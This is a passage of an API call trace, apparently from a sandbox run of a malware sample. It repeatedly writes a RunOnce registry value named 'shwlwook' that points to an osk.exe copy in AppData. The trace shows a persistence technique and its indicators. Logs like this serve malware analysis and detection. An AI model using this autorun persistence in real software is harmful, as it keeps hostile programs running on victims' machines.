lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.885] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.885] RegCloseKey (hKey=0x644) returned 0x0 [0277.885] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.886] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.907] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.907] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.908] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.908] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.908] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.908] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.908] RegCloseKey (hKey=0x644) returned 0x0 [0277.909] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.909] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.915] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.915] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.915] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.916] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.916] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.916] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.916] RegCloseKey (hKey=0x644) returned 0x0 [0277.917] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.917] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.937] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.937] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.937] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.937] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.938] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.938] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.938] RegCloseKey (hKey=0x644) returned 0x0 [0277.938] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.938] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.946] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.946] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.946] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.947] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.947] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.947] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.947] RegCloseKey (hKey=0x644) returned 0x0 [0277.948] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.948] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.967] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.967] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.968] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.968] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.968] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.968] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.969] RegCloseKey (hKey=0x644) returned 0x0 [0277.969] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.969] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.984] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.984] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.985] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.985] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.985] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.985] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.985] RegCloseKey (hKey=0x644) returned 0x0 [0277.986] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.986] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.997] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.997] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.997] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.998] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.998] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.998] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.998] RegCloseKey (hKey=0x644) returned 0x0 [0277.998] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.999] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.013] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.013] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.014] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.014] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.014] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.014] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.015] RegCloseKey (hKey=0x644) returned 0x0 [0278.015] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.015] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.113] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.113] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.113] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.114] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.114] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.114] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.114] RegCloseKey (hKey=0x644) returned 0x0 [0278.114] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.115] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.118] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.118] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.119] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.119] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.119] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.119] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.119] RegCloseKey (hKey=0x644) returned 0x0 [0278.120] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.120] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.136] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.136] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.136] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.137] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.137] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.137] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.137] RegCloseKey (hKey=0x644) returned 0x0 [0278.137] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.138] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.152] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.152] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.153] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.153] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.153] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.153] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.154] RegCloseKey (hKey=0x644) returned 0x0 [0278.154] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.156] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.202] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.202] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.202] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.203] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.203] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.203] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.203] RegCloseKey (hKey=0x644) returned 0x0 [0278.204] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.204] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.228] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.228] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.228] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.229] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.229] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.229] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.229] RegCloseKey (hKey=0x644) returned 0x0 [0278.229] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.230] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.246] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.246] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.246] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.247] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.247] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.247] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.248] RegCloseKey (hKey=0x644) returned 0x0 [0278.248] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.248] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.264] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.264] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.264] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.265] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.265] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.265] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.265] RegCloseKey (hKey=0x644) returned 0x0 [0278.265] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.266] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.274] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.274] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.274] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.275] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.275] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.275] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.275] RegCloseKey (hKey=0x644) returned 0x0 [0278.276] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.276] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.292] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.292] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.293] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.293] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.293] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.294] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.294] RegCloseKey (hKey=0x644) returned 0x0 [0278.294] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.294] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.309] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.310] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.310] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.310] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.311] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.311] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.311] RegCloseKey (hKey=0x644) returned 0x0 [0278.311] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.311] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.322] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.322] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.322] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.323] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.323] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.323] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.323] RegCloseKey (hKey=0x644) returned 0x0 [0278.323] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.324] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.433] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.433] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.434] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0278.434] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0278.434] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0278.435] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0278.435] RegCloseKey (hKey=0x644) returned 0x0 [0278.435] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0278.437] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0278.446] TranslateMessage (lpMsg=0x95f69c) returned 0 [0278.446] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0278.447] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 